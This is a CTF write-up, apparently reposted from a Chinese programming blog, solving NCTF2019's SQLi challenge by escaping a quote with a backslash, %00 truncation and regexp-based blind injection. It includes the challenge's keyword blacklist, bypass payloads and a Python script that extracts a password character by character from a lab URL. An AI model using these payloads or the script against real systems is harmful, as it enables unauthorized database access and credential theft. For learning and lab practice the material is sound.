欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[NCTF2019]SQLi

程序员文章站 2024-03-14 13:16:34
...

考察点

%00截断
regexp注入

猜测可能过滤了很多东西,经过信息收集发现存在robots.txt,里面写了hint.txt,里面的内容如下:

$black_list =/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00||=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;

If $_POST[‘passwd’] === admin’s password,

Then you will get the flag;

但是问题是过滤了# - '这三个东西,我们就没法将最后多出来的单引号给去掉。
发现了可以00截断。看了一下题目的环境:PHP/5.2.16
确实是存在00截断的php版本,因此利用00截断:

username=\&passwd=||(1);%00

regexp注入就类似于挨个比较吧,相等的时候返回true

例如搜索city表中name列开始位置含有连在一起的4位数字的所有信息

SELECT * FROM city WHERE name REGEXP '^[0-9]{4}';

构建语句

select * from users where username='' and passwd=''
username=\&passwd=||(passwd/**/regexp/**/"^y");%00
相等于select * from users where (passwd/**/regexp/**/"^y");

搜索是否有y开头的passwd,有就返回ture,没有就false。

注意再写python的时候传入%00不能直接传入,直接传会解码直接为空
parse.unquote('%00')url解码

import requests
import time
from urllib import parse
url="http://c8d16be7-b6ce-47a0-a700-1fc3769b84a9.node3.buuoj.cn/index.php"

name=""

s="qwertyuiopasdfghjklzxcvbnm_}{0123456789"
for i in range(1,300):
    for j in s:
        z=name+j
        payload="||passwd/**/regexp/**/\"^{}\";{}".format(z,parse.unquote('%00'))

        data={
            'username':'\\',
            'passwd':payload
        }

        r=requests.post(url,data=data)
        print(z)
        
        if "welcome" in r.text:
            name+=j
            break
    if "welcome" not in r.text:
        break   
	print(name)
print(name)

如果过滤双引号,就直接16进制绕就好了,^{}的内容16进制编码
然后输入密码即可

相关标签: ctf